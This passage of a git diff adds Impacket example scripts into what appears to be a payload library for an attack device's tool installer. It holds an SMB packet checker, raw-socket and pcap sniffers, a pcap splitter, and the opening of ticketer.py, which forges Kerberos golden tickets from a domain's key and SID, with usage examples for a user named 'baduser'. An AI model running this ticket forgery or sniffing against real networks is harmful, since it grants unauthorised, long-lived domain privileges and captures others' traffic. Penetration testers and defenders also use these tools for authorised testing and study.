TRANSACT2!" + raise Exception("Unsupported partial parameters in TRANSACT2!") + else: + trans2Data = smb.SMBTransaction2_Data() + # Standard says servers shouldn't trust Parameters and Data comes + # in order, so we have to parse the offsets, ugly + + paramCount = trans2Parameters['ParameterCount'] + trans2Data['Trans_ParametersLength'] = paramCount + dataCount = trans2Parameters['DataCount'] + trans2Data['Trans_DataLength'] = dataCount + + if trans2Parameters['ParameterOffset'] > 0: + paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength'] + trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount] + else: + trans2Data['Trans_Parameters'] = '' + + if trans2Parameters['DataOffset'] > 0: + dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength'] + trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount] + else: + # Response + # ToDo not implemented yet + a = 1 + + except Exception, e: + print "ERROR: %s" % e + print "Command: 0x%x" % packet['Command'] + print "Packet: %d %r" % (packetNum, packet.getData()) + return True + else: + print 'OK!' + + return False + +def smbComOpenAndX( packet, packetNum, SMBCommand, questions, replies): + + # Test return code is always 0, otherwise leave before doing anything + if packet['ErrorCode'] != 0: + return True + + print "SMB_COM_OPEN_ANDX ", + try: + if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: + # Query + + openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters']) + openAndXData = smb.SMBOpenAndX_Data(SMBCommand['Data']) + + else: + # Response + openFileResponse = SMBCommand + openFileParameters = smb.SMBOpenAndXResponse_Parameters(openFileResponse['Parameters']) + + + except Exception, e: + print "ERROR: %s" % e + print "Command: 0x%x" % packet['Command'] + print "Packet: %d %r" % (packetNum, packet.getData()) + return True + else: + print 'OK!' + + return False + +def smbComWriteAndX( packet, packetNum, SMBCommand, questions, replies): + + # Test return code is always 0, otherwise leave before doing anything + if packet['ErrorCode'] != 0: + return False + + print "SMB_COM_WRITE_ANDX ", + try: + if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: + # Query + + if SMBCommand['WordCount'] == 0x0C: + writeAndX = smb.SMBWriteAndX_Parameters2(SMBCommand['Parameters']) + else: + writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters']) + writeAndXData = smb.SMBWriteAndX_Data() + writeAndXData['DataLength'] = writeAndX['DataLength'] + if writeAndX['DataLength'] > 0: + writeAndXData.fromString(SMBCommand['Data']) + else: + # Response + writeResponse = SMBCommand + writeResponseParameters = smb.SMBWriteAndXResponse_Parameters(writeResponse['Parameters']) + + except Exception, e: + print "ERROR: %s" % e + print "Command: 0x%x" % packet['Command'] + print "Packet: %d %r" % (packetNum, packet.getData()) + return True + else: + print 'OK!' + + return False + +def smbComNtCreateAndX( packet, packetNum, SMBCommand, questions, replies): + + # Test return code is always 0, otherwise leave before doing anything + if packet['ErrorCode'] != 0: + return False + + print "SMB_COM_NT_CREATE_ANDX ", + try: + if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: + # Query + ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) + ntCreateAndXData = smb.SMBNtCreateAndX_Data(SMBCommand['Data']) + else: + # Response + ntCreateResponse = SMBCommand + ntCreateParameters = smb.SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters']) + + except Exception, e: + print "ERROR: %s" % e + print "Command: 0x%x" % packet['Command'] + print "Packet: %d %r" % (packetNum, packet.getData()) + return True + else: + print 'OK!' + + return False + +def smbComTreeConnectAndX( packet, packetNum, SMBCommand, questions, replies): + + # Test return code is always 0, otherwise leave before doing anything + if packet['ErrorCode'] != 0: + return False + + print "SMB_COM_TREE_CONNECT_ANDX ", + try: + if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: + # Query + treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) + treeConnectAndXData = smb.SMBTreeConnectAndX_Data() + treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] + treeConnectAndXData.fromString(SMBCommand['Data']) + else: + # Response + treeConnectAndXParameters = smb.SMBTreeConnectAndXResponse_Parameters(SMBCommand['Parameters']) + #treeConnectAndXData = smb.SMBTreeConnectAndXResponse_Data(SMBCommand['Data']) + except Exception, e: + print "ERROR: %s" % e + print "Command: 0x%x" % packet['Command'] + print "Packet: %d %r" % (packetNum, packet.getData()) + return True + else: + print 'OK!' + + + return False + + +def smbComSessionSetupAndX( packet, packetNum, SMBCommand, questions, replies): + + # Test return code is always 0, otherwise leave before doing anything + if packet['ErrorCode'] != 0: + if packet['ErrorClass'] != 0x16: + return False + + print "SMB_COM_SESSION_SETUP_ANDX ", + try: + if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: + # Query + if SMBCommand['WordCount'] == 12: + # Extended Security + sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) + sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() + sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] + sessionSetupData.fromString(SMBCommand['Data']) + + if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID: + # If there no GSSAPI ID, it must be an AUTH packet + blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) + token = blob['ResponseToken'] + else: + # NEGOTIATE packet + blob = smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) + token = blob['MechToken'] + messageType = struct.unpack(' 0: + infoFields = ntlmChallenge['TargetInfoFields'] + av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']]) + if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: + __server_name = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') + if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None: + __server_domain = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le') + + + else: + # Standard Security + sessionResponse = SMBCommand + + sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters']) + sessionData = smb.SMBSessionSetupAndXResponse_Data(flags = packet['Flags2'], data = sessionResponse['Data']) + except Exception, e: + print "ERROR: %s" % e + print "Command: 0x%x" % packet['Command'] + print "Packet: %d %r" % (packetNum, packet.getData()) + return True + else: + print 'OK!' + + + return False + +def smbComNegotiate( packet, packetNum, command, questions, replies): + sessionResponse = command + + if packet['Flags1'] & smb.SMB.FLAGS1_REPLY: + print "SMB_COM_NEGOTIATE ", + try: + _dialects_parameters = smb.SMBNTLMDialect_Parameters(sessionResponse['Parameters']) + _dialects_data = smb.SMBNTLMDialect_Data() + _dialects_data['ChallengeLength'] = _dialects_parameters['ChallengeLength'] + _dialects_data.fromString(sessionResponse['Data']) + if _dialects_parameters['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: + _dialects_parameters = smb.SMBExtended_Security_Parameters(sessionResponse['Parameters']) + _dialects_data = smb.SMBExtended_Security_Data(sessionResponse['Data']) + + except Exception, e: + print "ERROR: %s" % e + print "Command: 0x%x" % packet['Command'] + print "Packet: %d %r" % (packetNum, packet.getData()) + return True + else: + print 'OK!' + + + return False + +# Format +# { SMBCOMMAND: ((questionStruts),(replyStructus), handler) } +HANDLER = 2 +REPLIES = 1 +QUESTIONS = 0 + +smbCommands = { +# smb.SMB.SMB_COM_CREATE_DIRECTORY: (, +# smb.SMB.SMB_COM_DELETE_DIRECTORY: self.smbComDeleteDirectory, +# smb.SMB.SMB_COM_RENAME: self.smbComRename, +# smb.SMB.SMB_COM_DELETE: self.smbComDelete, + smb.SMB.SMB_COM_NEGOTIATE: ( None,None,smbComNegotiate), + smb.SMB.SMB_COM_SESSION_SETUP_ANDX: ( None,None,smbComSessionSetupAndX), +# smb.SMB.SMB_COM_LOGOFF_ANDX: self.smbComLogOffAndX, + smb.SMB.SMB_COM_TREE_CONNECT_ANDX: ( None,None,smbComTreeConnectAndX), +# smb.SMB.SMB_COM_TREE_DISCONNECT: self.smbComTreeDisconnect, +# smb.SMB.SMB_COM_ECHO: self.get_th_sportsmbComEcho, +# smb.SMB.SMB_COM_QUERY_INFORMATION: self.smbQueryInformation, + smb.SMB.SMB_COM_TRANSACTION2: ( None, None, smbTransaction2), +# smb.SMB.SMB_COM_TRANSACTION: self.smbTransaction, +# smb.SMB.SMB_COM_NT_TRANSACT: self.smbNTTransact, +# smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: sler.smbQueryInformationDisk, + smb.SMB.SMB_COM_OPEN_ANDX: (None, None, smbComOpenAndX), +# smb.SMB.SMB_COM_QUERY_INFORMATION2: self.smbComQueryInformation2, +# smb.SMB.SMB_COM_READ_ANDX: self.smbComReadAndX, +# smb.SMB.SMB_COM_READ: self.smbComRead, + smb.SMB.SMB_COM_WRITE_ANDX: (None, None, smbComWriteAndX), +# smb.SMB.SMB_COM_WRITE: self.smbComWrite, +# smb.SMB.SMB_COM_CLOSE: self.smbComClose, +# smb.SMB.SMB_COM_LOCKING_ANDX: self.smbComLockingAndX, + smb.SMB.SMB_COM_NT_CREATE_ANDX: (None, None, smbComNtCreateAndX), +# 0xFF: self.default +} + +# Returns True is the packet needs to be logged +def process(data, packetNum): + packet = smb.NewSMBPacket() + if data.get_packet()[0] == '\x00': + if data.get_packet()[4:8] == '\xffSMB': + try: + packet.fromString(data.get_packet()[4:]) + except Exception, e: + print "ERROR: %s" % e + print "Command: SMBPacket" + print "Packet: %d %r" % (packetNum, data.get_packet()) + return True + else: + return False + else: + return False + + try: + SMBCommand = smb.SMBCommand(packet['Data'][0]) + except Exception, e: + print "ERROR: %s" % e + print "Command: SMBCommand" + print "Packet: %d %r" % (packetNum, data.get_packet()) + return True + + if smbCommands.has_key(packet['Command']): + return smbCommands[packet['Command']][HANDLER](packet, packetNum, SMBCommand, smbCommands[packet['Command']][QUESTIONS], smbCommands[packet['Command']][REPLIES]) + #else: + # print "Command 0x%x not handled" % packet['Command'] + + + +def main(): + import sys + DEFAULT_PROTOCOLS = ('tcp',) + sockets = [] + + print version.BANNER + + parser = argparse.ArgumentParser() + parser.add_argument("-i", metavar = 'FILE', help = 'pcap file to read packets. If not specified the program sniffes traffic (only as root)') + parser.add_argument("-o", metavar = 'FILE', help = 'pcap output file where the packets with errors will be written') + + options = parser.parse_args() + + outFile = options.o + + if options.i is None: + sniffTraffic = True + toListen = DEFAULT_PROTOCOLS + else: + sniffTraffic = False + inFile = options.i + + packetNum = 0 + + if outFile: + f_out = open(outFile,'wb') + f_out.write(str(pcapfile.PCapFileHeader())) + + if sniffTraffic is False: + f_in = open(inFile,'rb') + + hdr = pcapfile.PCapFileHeader() + hdr.fromString(f_in.read(len(hdr))) + decoder = ImpactDecoder.EthDecoder() + else: + for protocol in toListen: + try: + protocol_num = socket.getprotobyname(protocol) + except socket.error: + print "Ignoring unknown protocol:", protocol + toListen.remove(protocol) + continue + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + sockets.append(s) + print "Listening on protocols:", toListen + decoder = ImpactDecoder.IPDecoder() + + while 1: + if sniffTraffic is False: + pkt = pcapfile.PCapFilePacket() + try: + pkt.fromString(f_in.read(len(pkt))) + except: + break + pkt['data'] = f_in.read(pkt['savedLength']) + p = pkt['data'] + else: + ready = select(sockets, [], [])[0] + for s in ready: + p = s.recvfrom(4096)[0] + if 0 == len(p): + # Socket remotely closed. Discard it. + sockets.remove(s) + s.close() + + packet = decoder.decode(p) + packetNum += 1 + if sniffTraffic is True: + instance = packet.child() + else: + instance = packet.child().child() + + if isinstance(instance, ImpactPacket.TCP): + tcppacket = instance + if tcppacket.get_th_sport() == 445 or tcppacket.get_th_dport() == 445 or tcppacket.get_th_sport() == 139 or tcppacket.get_th_dport() == 139: + data = tcppacket.child() + if data.get_size() > 0: + logPacket = process(data, packetNum) + if logPacket is True: + pkt_out = pcapfile.PCapFilePacket() + if sniffTraffic is True: + eth = ImpactPacket.Ethernet() + eth.contains(packet) + eth.set_ether_type(0x800) + pkt_out['data'] = eth.get_packet() + else: + pkt_out['data'] = str(p) + if outFile: + f_out.write(str(pkt_out)) + +if __name__ == '__main__': + main() + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/sniff.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/sniff.py new file mode 100644 index 0000000..473c8d0 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/sniff.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python +# Copyright (c) 2003 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Simple packet sniffer. +# +# This packet sniffer uses the pcap library to listen for packets in +# transit over the specified interface. The returned packages can be +# filtered according to a BPF filter (see tcpdump(3) for further +# information on BPF filters). +# +# Note that the user might need special permissions to be able to use pcap. +# +# Authors: +# Maximiliano Caceres +# Javier Kohen +# +# Reference for: +# pcapy: findalldevs, open_live. +# ImpactDecoder. + +import sys +from threading import Thread +import pcapy +from pcapy import findalldevs, open_live + +from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder + + +class DecoderThread(Thread): + def __init__(self, pcapObj): + # Query the type of the link and instantiate a decoder accordingly. + datalink = pcapObj.datalink() + if pcapy.DLT_EN10MB == datalink: + self.decoder = EthDecoder() + elif pcapy.DLT_LINUX_SLL == datalink: + self.decoder = LinuxSLLDecoder() + else: + raise Exception("Datalink type not supported: " % datalink) + + self.pcap = pcapObj + Thread.__init__(self) + + def run(self): + # Sniff ad infinitum. + # PacketHandler shall be invoked by pcap for every packet. + self.pcap.loop(0, self.packetHandler) + + def packetHandler(self, hdr, data): + # Use the ImpactDecoder to turn the rawpacket into a hierarchy + # of ImpactPacket instances. + # Display the packet in human-readable form. + print self.decoder.decode(data) + + +def getInterface(): + # Grab a list of interfaces that pcap is able to listen on. + # The current user will be able to listen from all returned interfaces, + # using open_live to open them. + ifs = findalldevs() + + # No interfaces available, abort. + if 0 == len(ifs): + print "You don't have enough permissions to open any interface on this system." + sys.exit(1) + + # Only one interface available, use it. + elif 1 == len(ifs): + print 'Only one interface present, defaulting to it.' + return ifs[0] + + # Ask the user to choose an interface from the list. + count = 0 + for iface in ifs: + print '%i - %s' % (count, iface) + count += 1 + idx = int(raw_input('Please select an interface: ')) + + return ifs[idx] + +def main(filter): + dev = getInterface() + + # Open interface for catpuring. + p = open_live(dev, 1500, 0, 100) + + # Set the BPF filter. See tcpdump(3). + p.setfilter(filter) + + print "Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink()) + + # Start sniffing thread and finish main thread. + DecoderThread(p).start() + +# Process command-line arguments. Take everything as a BPF filter to pass +# onto pcap. Default to the empty filter (match all). +filter = '' +if len(sys.argv) > 1: + filter = ' '.join(sys.argv[1:]) + +main(filter) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/sniffer.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/sniffer.py new file mode 100644 index 0000000..2df74ab --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/sniffer.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +# Copyright (c) 2003 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Simple packet sniffer. +# +# This packet sniffer uses a raw socket to listen for packets +# in transit corresponding to the specified protocols. +# +# Note that the user might need special permissions to be able to use +# raw sockets. +# +# Authors: +# Gerardo Richarte +# Javier Kohen +# +# Reference for: +# ImpactDecoder. + +from select import select +import socket +import sys + +from impacket import ImpactDecoder + +DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') + +if len(sys.argv) == 1: + toListen = DEFAULT_PROTOCOLS + print "Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0] +else: + toListen = sys.argv[1:] + +# Open one socket for each specified protocol. +# A special option is set on the socket so that IP headers are included with +# the returned data. +sockets = [] +for protocol in toListen: + try: + protocol_num = socket.getprotobyname(protocol) + except socket.error: + print "Ignoring unknown protocol:", protocol + toListen.remove(protocol) + continue + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + sockets.append(s) + +if 0 == len(toListen): + print "There are no protocols available." + sys.exit(0) + +print "Listening on protocols:", toListen + +# Instantiate an IP packets decoder. +# As all the packets include their IP header, that decoder only is enough. +decoder = ImpactDecoder.IPDecoder() + +while len(sockets) > 0: + # Wait for an incoming packet on any socket. + ready = select(sockets, [], [])[0] + for s in ready: + packet = s.recvfrom(4096)[0] + if 0 == len(packet): + # Socket remotely closed. Discard it. + sockets.remove(s) + s.close() + else: + # Packet received. Decode and display it. + packet = decoder.decode(packet) + print packet diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/split.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/split.py new file mode 100644 index 0000000..05841fb --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/split.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python +# Copyright (c) 2003 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Pcap dump splitter. +# +# This tools splits pcap capture files into smaller ones, one for each +# different TCP/IP connection found in the original. +# +# Authors: +# Alejandro D. Weil +# Javier Kohen +# +# Reference for: +# pcapy: open_offline, pcapdumper. +# ImpactDecoder. + +import sys +from exceptions import Exception +import pcapy +from pcapy import open_offline + +from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder + + +class Connection: + """This class can be used as a key in a dictionary to select a connection + given a pair of peers. Two connections are considered the same if both + peers are equal, despite the order in which they were passed to the + class constructor. + """ + + def __init__(self, p1, p2): + """This constructor takes two tuples, one for each peer. The first + element in each tuple is the IP address as a string, and the + second is the port as an integer. + """ + + self.p1 = p1 + self.p2 = p2 + + def getFilename(self): + """Utility function that returns a filename composed by the IP + addresses and ports of both peers. + """ + return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1]) + + def __cmp__(self, other): + if ((self.p1 == other.p1 and self.p2 == other.p2) + or (self.p1 == other.p2 and self.p2 == other.p1)): + return 0 + else: + return -1 + + def __hash__(self): + return (hash(self.p1[0]) ^ hash(self.p1[1]) + ^ hash(self.p2[0]) ^ hash(self.p2[1])) + + +class Decoder: + def __init__(self, pcapObj): + # Query the type of the link and instantiate a decoder accordingly. + datalink = pcapObj.datalink() + if pcapy.DLT_EN10MB == datalink: + self.decoder = EthDecoder() + elif pcapy.DLT_LINUX_SLL == datalink: + self.decoder = LinuxSLLDecoder() + else: + raise Exception("Datalink type not supported: " % datalink) + + self.pcap = pcapObj + self.connections = {} + + def start(self): + # Sniff ad infinitum. + # PacketHandler shall be invoked by pcap for every packet. + self.pcap.loop(0, self.packetHandler) + + def packetHandler(self, hdr, data): + """Handles an incoming pcap packet. This method only knows how + to recognize TCP/IP connections. + Be sure that only TCP packets are passed onto this handler (or + fix the code to ignore the others). + + Setting r"ip proto \tcp" as part of the pcap filter expression + suffices, and there shouldn't be any problem combining that with + other expressions. + """ + + # Use the ImpactDecoder to turn the rawpacket into a hierarchy + # of ImpactPacket instances. + p = self.decoder.decode(data) + ip = p.child() + tcp = ip.child() + + # Build a distinctive key for this pair of peers. + src = (ip.get_ip_src(), tcp.get_th_sport() ) + dst = (ip.get_ip_dst(), tcp.get_th_dport() ) + con = Connection(src,dst) + + # If there isn't an entry associated yetwith this connection, + # open a new pcapdumper and create an association. + if not self.connections.has_key(con): + fn = con.getFilename() + print "Found a new connection, storing into:", fn + try: + dumper = self.pcap.dump_open(fn) + except pcapy.PcapError, e: + print "Can't write packet to:", fn + return + self.connections[con] = dumper + + # Write the packet to the corresponding file. + self.connections[con].dump(hdr, data) + + + +def main(filename): + # Open file + p = open_offline(filename) + + # At the moment the callback only accepts TCP/IP packets. + p.setfilter(r'ip proto \tcp') + + print "Reading from %s: linktype=%d" % (filename, p.datalink()) + + # Start decoding process. + Decoder(p).start() + + +# Process command-line arguments. +if __name__ == '__main__': + if len(sys.argv) <= 1: + print "Usage: %s " % sys.argv[0] + sys.exit(1) + + main(sys.argv[1]) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/ticketer.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/ticketer.py new file mode 100644 index 0000000..db46b15 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/ticketer.py @@ -0,0 +1,746 @@ +#!/usr/bin/env python +# Copyright (c) 2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: +# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) +# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the +# groups, extrasids, etc. +# Tickets duration is fixed to 10 years from now (although you can manually change it) +# +# References: +# Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash: +# (http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it) +# Original implemetation by Benjamin Delpy (@gentilkiwi) in mimikatz +# (https://github.com/gentilkiwi/mimikatz) +# +# Examples: +# ./ticketer.py -nthash -domain-sid -domain baduser +# +# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4. +# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256 +# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as +# baduser.ccache. +# +# ./ticketer.py -nthash -aesKey -domain-sid -domain +# -request -user -password baduser +# +# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used +# as template for customization. Whatever encryption algorithms used on that ticket will be honored, +# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved +# as baduser.ccache. +# +# ToDo: +# [ ] Silver tickets still not implemented +# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC +# +import argparse +import datetime +import logging +import random +import string +import sys +from calendar import timegm +from time import strptime +from binascii import unhexlify + +from pyasn1.codec.der import encoder, decoder + +from impacket import version +from impacket.winregistry import hexdump +from impacket.dcerpc.v5.dtypes import RPC_SID +from impacket.dcerpc.v5.ndr import NDRULONG +from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ + SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD +from impacket.examples import logger +from impacket.krb5.asn1 import AS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart +from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \ + PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \ + KERB_NON_KERB_CKSUM_SALT +from impacket.krb5.crypto import Key, _enctype_table +from impacket.krb5.crypto import _checksum_table, Enctype +from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ + PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ + VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO +from impacket.krb5.types import KerberosTime, Principal +from impacket.krb5.kerberosv5 import getKerberosTGT + + +class TICKETER: + def __init__(self, target, password, domain, options): + self.__password = password + self.__target = target + self.__domain = domain + self.__options = options + + @staticmethod + def getFileTime(t): + t *= 10000000 + t += 116444736000000000 + return t + + def createBasicValidationInfo(self): + # 1) KERB_VALIDATION_INFO + kerbdata = KERB_VALIDATION_INFO() + + aTime = timegm(datetime.datetime.utcnow().timetuple()) + unixTime = self.getFileTime(aTime) + + kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 + + # LogoffTime: A FILETIME structure that contains the time the client's logon + # session should expire. If the session should not expire, this structure + # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime + # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as + # an indicator of when to warn the user that the allowed time is due to expire. + kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF + + # KickOffTime: A FILETIME structure that contains LogoffTime minus the user + # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the + # client should not be logged off, this structure SHOULD have the dwHighDateTime + # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. + # The Kerberos service ticket end time is a replacement for KickOffTime. + # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of + # an account. A recipient of the PAC SHOULD<8> use this value as the indicator + # of when the client should be forcibly disconnected. + kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF + + kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32 + + kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 + kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 + + # PasswordMustChange: A FILETIME structure that contains the time at which + # theclient's password expires. If the password will not expire, this + # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the + # dwLowDateTime member set to 0xFFFFFFFF. + kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF + + kerbdata['EffectiveName'] = self.__target + kerbdata['FullName'] = '' + kerbdata['LogonScript'] = '' + kerbdata['ProfilePath'] = '' + kerbdata['HomeDirectory'] = '' + kerbdata['HomeDirectoryDrive'] = '' + kerbdata['LogonCount'] = 500 + kerbdata['BadPasswordCount'] = 0 + kerbdata['UserId'] = int(self.__options.user_id) + kerbdata['PrimaryGroupId'] = 513 + + # Our Golden Well-known groups! :) + groups = self.__options.groups.split(',') + kerbdata['GroupCount'] = len(groups) + + for group in groups: + groupMembership = GROUP_MEMBERSHIP() + groupId = NDRULONG() + groupId['Data'] = int(group) + groupMembership['RelativeId'] = groupId + groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + kerbdata['GroupIds'].append(groupMembership) + + kerbdata['UserFlags'] = 0 + kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + kerbdata['LogonServer'] = '' + kerbdata['LogonDomainName'] = self.__domain.upper() + kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid) + kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00' + kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD + kerbdata['SubAuthStatus'] = 0 + kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 + kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 + kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 + kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 + kerbdata['FailedILogonCount'] = 0 + kerbdata['Reserved3'] = 0 + + kerbdata['ResourceGroupDomainSid'] = NULL + kerbdata['ResourceGroupCount'] = 0 + kerbdata['ResourceGroupIds'] = NULL + + validationInfo = VALIDATION_INFO() + validationInfo['Data'] = kerbdata + + return validationInfo + + def createBasicPac(self, kdcRep): + validationInfo = self.createBasicValidationInfo() + pacInfos = {} + pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents() + srvCheckSum = PAC_SIGNATURE_DATA() + privCheckSum = PAC_SIGNATURE_DATA() + + if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value: + srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value + privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value + srvCheckSum['Signature'] = '\x00' * 16 + privCheckSum['Signature'] = '\x00' * 16 + else: + srvCheckSum['Signature'] = '\x00' * 12 + privCheckSum['Signature'] = '\x00' * 12 + if len(self.__options.aesKey) == 64: + srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value + privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value + else: + srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value + privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value + + pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData() + pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData() + + clientInfo = PAC_CLIENT_INFO() + clientInfo['Name'] = self.__target.encode('utf-16le') + clientInfo['NameLength'] = len(clientInfo['Name']) + pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() + + return pacInfos + + def createBasicTicket(self): + if self.__options.request is True: + logging.info('Requesting TGT to target domain to use as basis') + if self.__options.hashes is not None: + lmhash, nthash = self.__options.hashes.split(':') + else: + lmhash = '' + nthash = '' + userName = Principal(self.__options.user, 